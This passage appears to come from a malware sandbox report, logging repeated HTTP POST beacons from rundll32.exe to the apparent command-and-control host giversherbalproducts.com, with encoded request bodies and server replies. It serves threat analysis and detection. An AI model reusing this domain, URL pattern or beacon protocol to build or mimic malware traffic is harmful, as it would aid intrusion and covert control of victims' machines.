Oct 4, 2021 16:04:16.881581068 CEST	7528	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.3	50223	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:17.120508909 CEST	7529	OUT	POST /lBawcxb5/GSseOwYaIEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:17.567080975 CEST	7530	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.3	50224	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:17.211781025 CEST	7529	OUT	POST /lBawcxb5/ewIzLz06CRoBPB0fE3glDX0RFQEZQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:17.656434059 CEST	7531	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.3	50225	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:17.961231947 CEST	7532	OUT	POST /lBawcxb5/Dz4IBiUTPUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:18.466846943 CEST	7533	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.3	50226	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:18.057090998 CEST	7533	OUT	POST /lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:18.537420988 CEST	7534	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.3	50228	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:18.923863888 CEST	7535	OUT	POST /lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:19.455528975 CEST	7537	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.3	50227	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:18.941242933 CEST	7536	OUT	POST /lBawcxb5/fhooFAMiKTgfBjwOKQgcQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:19.481004953 CEST	7537	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.3	50229	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:19.865504980 CEST	7539	OUT	POST /lBawcxb5/BSwxP3sjIx16KhIIGgouAXJ6KTYfJHglHAoHQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:20.348197937 CEST	7540	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.3	50230	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:19.940891027 CEST	7539	OUT	POST /lBawcxb5/HT8tDxc/fwUbNR0jOyI7KggqOykYHUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:20.448796034 CEST	7541	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:20 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.3	50231	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:20.709340096 CEST	7542	OUT	POST /lBawcxb5/OX4ZfwIJDCF0ORk4Oho3BwsENXZyL0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:21.143918991 CEST	7543	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:20 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 